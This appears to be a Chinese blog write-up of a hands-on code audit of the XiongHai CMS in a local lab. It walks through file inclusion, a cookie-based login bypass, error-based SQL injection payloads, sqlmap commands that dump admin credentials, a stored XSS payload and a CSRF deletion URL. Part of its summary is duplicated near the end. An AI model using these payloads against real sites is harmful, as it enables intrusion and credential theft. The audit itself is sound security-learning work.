熊海cms代碼審計

0x00 前言

​ 做這次代碼審計的時候,距離看《代碼審計:企業級web代碼安全架構》一書已經過去了差不多一個月的時間了。藉着這次機會,開啓自己的代碼審計之旅吧!

0x01 seay自動審計

環境搭建

本地留了一份進行源碼審計,虛擬機win7下搭建作爲攻擊利用

本地審計

把cms丟進seay源代碼審計系統裏,先自動審計一番
在這裏插入圖片描述

發現34個可疑漏洞,接下來要做的就是逐一排查,以防誤報

0x02 可疑函數跟進

/index.php:文件包含

<?php
//單一入口模式
error_reporting(0); //關閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷爲空或者等於index
include('files/'.$action.'.php'); //載入相應文件
?>
  • 代碼分析

    參數r只有一個addslashes函數過濾,但對於文件包含來說並沒有什麼用。

  • 嘗試利用

    因爲包含的是files目錄下的文件,所以在files下新建shell.php,內容爲<?php phpinfo();?>,payload:192.168.115.130:8088/xhcms/?r=shell,成功包含。

在這裏插入圖片描述

  • PS:根目錄下新建shell.php也可以包含成功,不過需要進行目錄跳轉

    payload:192.168.115.130:8088/xhcms/?r=…/shell

/admin/index.php:文件包含

  • 同上,也存在文件包含漏洞

/admin/files/adset.php

require '../inc/checklogin.php';	//關鍵代碼摘要
require '../inc/conn.php';

$ad1=addslashes($_POST['ad1']);		//全文追蹤
ad1='$ad1',
  • ad1、ad2、ad3三個變量被addslashes函數過濾因此不存在注入,屬於誤報

  • 調用checklogin.php和conn.php兩個文件,跟進下去

/inc/checklogin.php:越權

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>
  • 代碼分析

    檢查cookie中的user值,若爲空則跳轉到後臺登陸頁面

  • 利用測試

    url:192.168.115.130:8088/xhcms/admin/?r=adset

    這是一個需要admin登陸的一個頁面,抓包添加user=1,爆破得到user值爲admin

在這裏插入圖片描述

proxy修改user=admin再放行,進入adset頁面並且爲管理員賬號登陸

在這裏插入圖片描述

由此可見,所有調用checklogin.php的文件都存在越權漏洞。

涵蓋範圍:admin/files目錄下除login.php和outlogin.php外所有頁面

/admin/files/login.php:SQL注入

關鍵代碼:
$login=$_POST['login'];			//參數直接由POST獲取,無任何過濾
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$users = mysql_fetch_array($result);

$passwords=$users['password'];
if(md5($password)<>$passwords)	//將輸入的password的md5值進行匹配
{
	echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯誤。');history.back();</Script>";
	exit;	
}
  • mysql_query()函數執行一條 MySQL 查詢。

  • mysql_fetch_array()函數從結果集中取得一行作爲關聯數組,或數字數組。

  • 執行的sql語句爲SELECT * FROM manage WHERE user='$user'

  • 這裏開啓了mysql_error(),可以進行報錯注入

  • 賬號的猜解(請忽略之前所做的所有努力,直接上乾貨)

    我的設想是用ASCII值對賬號進行猜解

    ' and exists(select * from manage)#			//存在manage表
    ' and exists(select user from manage)#		//存在user列
    ' and exists(select password from manage)#	//存在password列
    ' and ascii(substr((select user from manage limit 0,1),1,1))=97#
    

    但是到了這一步卻無法猜解出賬號值,無奈之下上了sqlmap

    抓包保存爲post.txt,然後用sqlmap的POST注入模塊日他。

    sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user --current-db//爆當前數據庫
    sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms --tables//爆表名
    sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage --columns//爆列名
    sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage -C "user,password" --dump//爆數據
    

    剛開始:“我要手注到死!!!”,最後:“sqlmap真香啊~”
    在這裏插入圖片描述

  • 這裏貼一下看到的一個大佬的payload

    1' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#
    1' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#
    

    一次注入得到的md5值不全,兩次注入得到的md5值拼接一下就能得到正確的password

/admin/files/editcolumn.php

  • 進入後臺之後,繼續跟進存在可疑漏洞的頁面
$id=$_GET['id'];
$type=$_GET['type'];	//變量由GET直接得到,未做過濾

$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs'];		//變量由POST直接得到,未做過濾

對應以下表單的提交

在這裏插入圖片描述

這裏出了點意外,payload沒構造出來,感概一句自己的手工真的辣雞

繼續看後面的添加鏈接,也就是insert語句

/admin/files/newlink.php:SQL注入

關鍵代碼:
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];

還是跟之前一樣,變量由POST直接得到,未做任何過濾

payload:' or updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0) or'

在這裏插入圖片描述
真的要好好學習手工注入,手注不是and 1=1就完事了的嗷!貼一下學習鏈接

Mysql報錯型注入:https://www.cnblogs.com/csyxf/p/10241456.html

admin/files/imageset.php

一個圖片上傳頁面,核心代碼如下

if(!empty($_FILES['images']['tmp_name']))
{
	include '../inc/up.class.php';
	if (empty($HTTP_POST_FILES['images']['tmp_name']))//判斷接收數據是否爲空
	{
		$tmp = new FileUpload_Single;
		$upload="../upload/watermark";//圖片上傳的目錄,這裏是當前目錄下的upload目錄,可自已修改
		$tmp -> accessPath =$upload;
		if ($tmp -> TODO())
		{
			$filename=$tmp -> newFileName;//生成的文件名
			$filename=$upload.'/'.$filename;		
		}		
	}
}

其中調用了/inc/up.class.php,來分析一下

var $defineTypeList="jpg|jpeg|gif|bmp|png";//定義白名單後綴名

function CheckFileMIMEType()//白名單檢測
{
      $pass = false;
      $defineTypeList = strtolower( $this ->defineTypeList);
      $MIME = strtolower( $this -> GetFileMIME());
      if (!empty ($defineTypeList))
      {
           if (!empty ($MIME))
           {
                foreach(explode("|",$defineTypeList) as $tmp)
                {
                     if ($tmp == $MIME)
                     {
                          $pass = true;
                     }
                }
           }
		  else
           {
                return false;
           }      
       }
       else
       {
           return false;
       }
	   return $pass;
}

function GetFileTypeToString()//取文件名後三位
{
	if( ! empty( $this -> uploadFile[ 'name' ] ) )
	{
		return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );  
	}
}

幾個主要功能就是白名單檢測、文件大小檢測、對文件重命名,基本就杜絕了直接傳shell的可能

我自己的黑盒思路就是傳圖片馬配合文件包含食用,但我覺得真正的黑盒應該是沒辦法實現的

/admin/files/manageinfo.php:Stored XSS

$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];

參數由POST直接得到,無任何過濾

執行的sql語句爲

$query = "UPDATE manage SET 
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";

參數並沒有用htmlspecialchars()或htmlentities()函數過濾,這就造成儲存型xss,以下是payload

payload: <img src=1 onerror=alert(/xss/)>

在這裏插入圖片描述

這裏應該還是存在報錯注入的,不過跟前面一樣,payload沒構造出來

/admin/files/wzlist.php:CSRF

關鍵代碼:
$delete=$_GET['delete'];
if ($delete<>"")
{
	$query = "DELETE FROM content WHERE id='$delete'";
	$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
	echo "<script>alert('親,ID爲".$delete."的內容已經成功刪除!');location.href='?r=wzlist'</script>";
	exit; 
}
  • 就只是簡單的GET一下delete的id,然後執行sql語句,並沒有token驗證

  • 抓包分析一下刪除請求

在這裏插入圖片描述

請求url:http://192.168.115.130:8088/xhcms/admin/?r=wzlist&delete=3

  • 管理員登陸狀態下點擊該鏈接,則刪除文章3

在這裏插入圖片描述

admin/files/softlist.php:CSRF

寫法如上,也存在CSRF漏洞

/files/index.php

接下來進入files文件夾,先分析index.php

第34行跳轉標籤<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>

包含了content.php,也就是第15個可疑漏洞的位置

/files/content.php:SQL注入

  • 全文追蹤變量$id
    在這裏插入圖片描述

    可以看到$id被addslashes函數過濾,但是在第19行是這麼寫的

$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

$id並沒有被單引號包裹,也就造成了sql注入

  • 構造payload,成功利用

    http://192.168.115.130:8088/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0)
    

在這裏插入圖片描述

  • 繼續往下,第154行/?r=submit,繼續跟進

    <form  name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
    

/files/submit.php:SQL注入

  • 除了type其他均未過濾
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
  • 以下是可利用的幾條sql語句
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";
$query = "SELECT * FROM content WHERE( id= $cid)";
$query = "SELECT * FROM download WHERE( id= $cid)";
  • 關聯文件

    contact.php

    software.php

files/software.php:SQL注入

$id=addslashes($_GET['cid']);
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
  • 寫法跟前面的一樣,payload也同樣可以使用

  • 關聯文件

    downloads

files/downloads.php

在這裏插入圖片描述

全文追蹤結果顯示fileid被addslashes函數過濾,且sql語句中fileid被單引號包裹,不存在注入

seacmseditor/php/controller.php

if (isset($_GET["callback"])) 
{
    if (preg_match("/^[\w_]+$/", $_GET["callback"])) 
    {
        echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
    } 
    else 
    {
        echo json_encode(array('state'=> 'callback參數不合法'));
    }

這裏在輸出的時候用htmlspecialchars函數將特殊字符轉換爲html實體,所以不存在xss,屬於誤報

整個文件夾下就是Ueditor富文本編輯器,也就不去深挖了

0x03 漏洞總結

越權及登陸繞過

  • 位置:/inc/checklogin.php
  • 影響範圍:所有調用此驗證的頁面

SQL Injection

  • update語句報錯注入
  • insert語句報錯注入

File Inclusion

  • /index.php
  • /admin/index.php

Stored XSS

  • update語句參數未經過濾直接帶入查詢
  • 影響範圍:留言板、評論及後臺信息設置

CSRF

  • 後臺管理頁面無token驗證
  • 影響範圍:update、delete等管理員操作

0x04 個人體會

  • cms審計及測試時的漏洞利用方法和靶場bypass姿勢千差萬別

  • 手工!手工!!手工!!!真的太重要了,學不好payload都搞不出來

  • 自己的一些心得:可疑函數追蹤、關聯文件分析以及一些常爆洞的功能模塊

  • 真的很花時間,做完這一套cms審計大概花了5天時間,而光今天的收尾工作就從中午12點一直做到晚上8點
    陸繞過

  • 位置:/inc/checklogin.php

  • 影響範圍:所有調用此驗證的頁面

SQL Injection

  • update語句報錯注入
  • insert語句報錯注入

File Inclusion

  • /index.php
  • /admin/index.php

Stored XSS

  • update語句參數未經過濾直接帶入查詢
  • 影響範圍:留言板、評論及後臺信息設置

CSRF

  • 後臺管理頁面無token驗證
  • 影響範圍:update、delete等管理員操作

0x04 個人體會

  • cms審計及測試時的漏洞利用方法和靶場bypass姿勢千差萬別
  • 手工!手工!!手工!!!真的太重要了,學不好payload都搞不出來
  • 自己的一些心得:可疑函數追蹤、關聯文件分析以及一些常爆洞的功能模塊
  • 真的很花時間,做完這一套cms審計大概花了5天時間,而光今天的收尾工作就從中午12點一直做到晚上8點
  • 不難,真的不難,就是頭有點涼
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章